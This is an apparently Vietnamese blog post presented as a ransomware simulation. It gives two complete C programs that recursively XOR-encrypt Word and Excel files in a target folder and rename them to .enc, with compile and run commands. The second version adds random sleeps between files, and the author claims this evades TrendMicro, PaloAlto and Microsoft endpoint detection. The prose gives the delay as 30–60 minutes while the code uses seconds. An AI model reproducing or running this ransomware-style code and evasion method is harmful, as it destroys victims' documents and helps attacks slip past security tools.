Giả lập tình huống tấn công ransomware

Giả Lập Tình Huống Tấn Công

enc_v1

Đây là chương trình C để mã hóa các file .doc, .docx, .xls, .xlsx bằng XOR và đổi phần mở rộng sang .enc tại thư mục đường dẫn khai báo khi chạy chương trình.

Ở phiên bản version 1 này thì mình chỉ thực hiện mã hóa 1 cách bình thường. với version 1 này khi thử nghiệm trên một số phần mềm endpoint security như TrendMicro, PaloAlto, … thì đều phát hiện hành vi và ngăn chặn.

//enc_v1.c

#include <windows.h>

#include <tchar.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <io.h>

#include <shlwapi.h>

#pragma comment(lib, “shlwapi.lib”)

#define XOR_KEY “mykey”

// Encrypt a single file using XOR and rename it to .enc

void XOREncryptFile(const char* filepath) {

    FILE* f = fopen(filepath, “rb”);

    if (!f) return;

    fseek(f, 0, SEEK_END);

    long len = ftell(f);

    rewind(f);

    BYTE* buffer = (BYTE*)malloc(len);

    if (!buffer) { fclose(f); return; }

    fread(buffer, 1, len, f);

    fclose(f);

    size_t keyLen = strlen(XOR_KEY);

    for (long i = 0; i < len; i++) {

        buffer[i] ^= XOR_KEY[i % keyLen];

    }

    f = fopen(filepath, “wb”);

    if (!f) { free(buffer); return; }

    fwrite(buffer, 1, len, f);

    fclose(f);

    free(buffer);

    char newpath[MAX_PATH];

    strcpy(newpath, filepath);

    PathRenameExtensionA(newpath, “.enc”);

    MoveFileExA(filepath, newpath, MOVEFILE_REPLACE_EXISTING);

    printf(“Encrypted: %s\n”,filepath);

}

// Recursively encrypt files in a directory

void EncryptFilesInDir(const char* dir) {

    char searchPath[MAX_PATH];

    sprintf(searchPath, “%s\\*.*”, dir);

    struct _finddata_t fd;

    intptr_t handle = _findfirst(searchPath, &fd);

    if (handle == -1) return;

    do {

        if (strcmp(fd.name, “.”) == 0 || strcmp(fd.name, “..”) == 0) continue;

        char fullPath[MAX_PATH];

        sprintf(fullPath, “%s\\%s”, dir, fd.name);

        if (fd.attrib & _A_SUBDIR) {

            EncryptFilesInDir(fullPath);

        } else {

            const char* ext = PathFindExtensionA(fullPath);

            if (_stricmp(ext, “.doc”) == 0 || _stricmp(ext, “.docx”) == 0 ||

                _stricmp(ext, “.xls”) == 0 || _stricmp(ext, “.xlsx”) == 0) {

                XOREncryptFile(fullPath);

            }

        }

    } while (_findnext(handle, &fd) == 0);

    _findclose(handle);

}

// Main function: takes 1 argument – target directory

int main(int argc, char* argv[]) {

    if (argc != 2) {

        printf(“Usage: %s <target_directory>\n”, argv[0]);

        return 1;

    }

    srand(GetTickCount());

    EncryptFilesInDir(argv[1]);

    printf(“Encryption completed for directory: %s\n”, argv[1]);

    return 0;

}

Biên dịch file này  bằng gcc với lệnh: gcc enc_v1.c -o enc_v1.exe -lshlwapi

Sau khi có file exe thự thi bằng cmd với lệnh: enc_v1.exe “<path>”

enc_v2

Tương tự như version 1, thì version 2 mình chỉ thêm giữa mỗi lần mã hóa 1 file thì sẽ dừng lại trong khoảng 30-60 phút, nhằm bypass hành vi của endpoint security, và với việc này mình có thử lại với giải pháp của TrendMicro và PaloAlto đã không phát hiện và ngăn chặn hành vi này. Cũng có thử trên Microsoft từ OS cũng không phát hiện được.

//enc_v2.c

#include <windows.h>

#include <tchar.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <io.h>

#include <shlwapi.h>

#pragma comment(lib, “shlwapi.lib”)

#define XOR_KEY “mykey”

// Encrypt a single file using XOR and rename it to .enc

void XOREncryptFile(const char* filepath) {

    FILE* f = fopen(filepath, “rb”);

    if (!f) return;

    fseek(f, 0, SEEK_END);

    long len = ftell(f);

    rewind(f);

    BYTE* buffer = (BYTE*)malloc(len);

    if (!buffer) { fclose(f); return; }

    fread(buffer, 1, len, f);

    fclose(f);

    size_t keyLen = strlen(XOR_KEY);

    for (long i = 0; i < len; i++) {

        buffer[i] ^= XOR_KEY[i % keyLen];

    }

    f = fopen(filepath, “wb”);

    if (!f) { free(buffer); return; }

    fwrite(buffer, 1, len, f);

    fclose(f);

    free(buffer);

    char newpath[MAX_PATH];

    strcpy(newpath, filepath);

    PathRenameExtensionA(newpath, “.enc”);

    MoveFileExA(filepath, newpath, MOVEFILE_REPLACE_EXISTING);

    printf(“Encrypted: %s\n”,filepath);

}

// Recursively encrypt files in a directory

void EncryptFilesInDir(const char* dir) {

    char searchPath[MAX_PATH];

    sprintf(searchPath, “%s\\*.*”, dir);

    struct _finddata_t fd;

    intptr_t handle = _findfirst(searchPath, &fd);

    if (handle == -1) return;

    do {

        if (strcmp(fd.name, “.”) == 0 || strcmp(fd.name, “..”) == 0) continue;

        char fullPath[MAX_PATH];

        sprintf(fullPath, “%s\\%s”, dir, fd.name);

        if (fd.attrib & _A_SUBDIR) {

            EncryptFilesInDir(fullPath);

        } else {

            const char* ext = PathFindExtensionA(fullPath);

            if (_stricmp(ext, “.doc”) == 0 || _stricmp(ext, “.docx”) == 0 ||

                _stricmp(ext, “.xls”) == 0 || _stricmp(ext, “.xlsx”) == 0) {

                XOREncryptFile(fullPath);

            }

        }

        DWORD delay = (rand() % 31 + 30) * 1000; // 30–60 seconds delay

        Sleep(delay);

    } while (_findnext(handle, &fd) == 0);

    _findclose(handle);

}

// Main function: takes 1 argument – target directory

int main(int argc, char* argv[]) {

    if (argc != 2) {

        printf(“Usage: %s <target_directory>\n”, argv[0]);

        return 1;

    }

    srand(GetTickCount());

    EncryptFilesInDir(argv[1]);

    printf(“Encryption completed for directory: %s\n”, argv[1]);

    return 0;

}

Leave a Reply

Your email address will not be published. Required fields are marked *